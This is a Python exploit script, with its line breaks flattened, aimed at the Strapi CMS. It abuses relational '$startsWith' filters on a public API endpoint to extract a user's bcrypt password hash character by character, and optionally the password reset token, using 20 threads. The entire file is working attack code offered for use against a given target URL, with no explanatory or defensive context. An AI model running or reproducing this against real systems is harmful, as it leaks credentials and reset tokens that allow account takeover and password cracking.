import requests, sys, argparse import urllib.parse as urlparse from concurrent.futures import ThreadPoolExecutor THREADS=20 BCRYPT_CHARS = "$./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" TOTAL_CHARS = len(BCRYPT_CHARS) def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser() parser.add_argument( '-u', '--url', help='Target URL', required=True ) parser.add_argument( '-e', '--endpoint', help='The public endpoint on Strapi which have relationship with User', required=True ) parser.add_argument( '-d', '--dump', help='Dump the password reset token \n-d true', ) return parser.parse_args() def attempt_char_hash(s: requests.Session, api_url, known_hash, c): r = s.get( api_url + f"?filters[$and][0][createdBy][password][$startsWith]={known_hash + c}", ) r_json = r.json() if "data" in r_json: r_json = r_json["data"] if len(r_json) > 0: return (True, c) return (False, None) def attempt_char_token(s: requests.Session, api_url, known_hash, c): r = s.get( api_url + f"?filters[$and][0][createdBy][reset_password_token][$startsWith]={known_hash + c}", ) r_json = r.json() if "data" in r_json: r_json = r_json["data"] if len(r_json) > 0: return (True, c) return (False, None) def dump_password_hash(s, api_url): dumped_data = "" print("Password Hash:", end="") sys.stdout.flush() while True: found_char = False with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = executor.map( attempt_char_hash, TOTAL_CHARS * [s], TOTAL_CHARS * [api_url], TOTAL_CHARS * [dumped_data], BCRYPT_CHARS ) for result in futures: matched_char, char = result if matched_char: found_char = True dumped_data = dumped_data + char print(char, end="") sys.stdout.flush() break if not found_char: break print("") def dump_password_reset_token(s, api_url): dumped_data = "" print("Password Reset Token:", end="") sys.stdout.flush() while True: found_char = False with ThreadPoolExecutor(max_workers=THREADS) as executor: futures = executor.map( attempt_char_token, TOTAL_CHARS * [s], TOTAL_CHARS * [api_url], TOTAL_CHARS * [dumped_data], BCRYPT_CHARS ) for result in futures: matched_char, char = result if matched_char: found_char = True dumped_data = dumped_data + char print(char, end="") sys.stdout.flush() break if not found_char: break print("") def main(args): target = args.url endpoint = args.endpoint api_url = urlparse.urljoin(target, endpoint) dump = args.dump with requests.Session() as s: dump_password_hash(s, api_url) if(dump == "true"): dump_password_reset_token(s, api_url) if __name__ == "__main__": args = parse_args() main(args)